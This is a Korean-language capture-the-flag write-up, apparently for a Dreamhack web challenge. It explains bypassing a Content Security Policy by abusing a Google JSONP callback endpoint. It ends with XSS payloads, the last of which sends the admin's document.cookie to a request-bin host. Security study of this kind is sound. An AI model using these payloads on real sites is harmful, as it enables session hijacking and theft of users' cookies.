우선 해당 문제를 풀이하기 전에
https://medium.com/@mazin.ahmed/bypassing-csp-by-abusing-jsonp-endpoints-47cf453624d5
이걸 먼저 공부하고 오자.
대충 이렇게 입력해보았다. 하지만 실행이 되지 않고
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src https://*.google.com/". Either the 'unsafe-inline' keyword, a hash ('sha256-XTqNqFSUlZHAW7f/OGNYSOEzxKhjdAAGMXoid2VEbJk='), or a nonce ('nonce-...') is required to enable inline execution.
이런 에러만 뜨게 되었다. 즉 SCP에 걸린 것만 같았다.
"script-src https://*.google.com/"
이 문구의 의미는 결국 ~~~.google.com에서 오는 스크립트만 허락한다는 것이다.
이제 내가 위에서 읽어보라고 한 글을 보자. 결국 엔트포인트에서 JSONP를 이용하여 CSP를 우회할 수 있다는 소리이다. 그 자료는 .google.com에서 와야 한다.
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
여기를 읽어보면 google 도메인에 콜백을 때려 xss를 실행시킬 수 있는 부분이 있다.
하지만 터지진 않는다 ...
https://www.arridae.com/blogs/bypass-csp.php
이번엔 여기를 보았다.
우옷 터졌당
이제 드림핵 request bin에 어드민의 쿠키를 보내보장 (사실 쿠키값에 있을 것 같다는 것은 게싱이다.)
<script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='https://becmlnw.request.dreamhack.games';"></script>
아놔 이건 document.cookie를 보내지 않는다. 그냥 접속만 하게 한다
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
<script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='https://becmlnw.request.dreamhack.games/?flag='%252bdocument.cookie;"></script>
사실 252b는 그 +가 인코딩이 안되어서 저렇게 넣어주었다.... 저건 나도 찾아보았다 ㅜㅜ